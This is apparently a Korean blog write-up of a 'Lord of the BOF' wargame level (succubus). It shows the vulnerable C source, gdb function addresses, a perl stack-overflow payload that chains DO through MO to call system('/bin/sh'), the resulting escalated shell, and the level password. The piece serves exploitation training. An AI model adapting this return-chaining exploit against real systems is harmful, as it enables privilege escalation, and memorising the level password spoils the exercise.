[zombie_assassin@localhost zombie_assassin]$ cat succubus.c /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } |
ret랑 ret로부터 100byte까지는 버퍼를 초기화하지않고 그냥 둡니다.
여길 이용하는게 포인트인 것 같네요..
또한 ret의 주소는 DO()함수의 주소로 고정시켜야만 할 것 같습니다.
일단 각 함수의 주소는 다음과 같습니다.
(gdb) p DO
$1 = {<text variable, no debug info>} 0x80487ec <DO>
(gdb) p GYE
$2 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p YUT
$4 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p MO
$5 = {<text variable, no debug info>} 0x8048724 <MO>
스택에서의 함수 호출은 [함수 주소] [리턴 주소] [(필요한 경우)인자~] 이런 식의 구조를 가지고서 함수 호출이 이루어집니다.
하지만 인자를 필요로하지 않는 함수는? 리턴 주소까지 읽어서 함수 호출을 하게 됩니다.
때문에 인자가 없는 함수의 연속적인 호출은 [함수 주소 1] [(리턴)함수 주소 2] 3 4.. 이런식으로 지속적인 리턴과 호출을 반복해주어 가능하게 됩니다.
따라서 다음과 같은 페이로드를 작성하여 연속적인 호출을 일으킬 수 있습니다.
`perl -e 'print "A"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "B"x123'`
말했듯이 RET 이후 100바이트는 남겨놓기 때문에 널널하게 활용하실 수 있습니다.
그렇기에 [/bin/sh가 저장되어 있는 주소] [/bin/sh]를 페이로드 뒤쪽에 추가해도 별 문제가 없을겁니당.
페이로드를 만들어서 확인해봅시다!
[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "A"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\x58\xfa\xff\xbf", "/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAX??bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
bash$
성공입니다. 헌데 한 두 번 정도는 스택 주소 변동으로 인해 실패하실 수 있으니 코어 덤프를 잘 활용해보시기 바랍니다!
'워게임 > lord of bof' 카테고리의 다른 글
level 18 -> 19 (0) | 2015.10.23 |
---|---|
level 17 -> 18 (0) | 2015.10.23 |
level 15 -> 16 (0) | 2015.10.23 |
level 14 -> 15 (0) | 2015.10.23 |
level 13 -> 14 (0) | 2015.10.23 |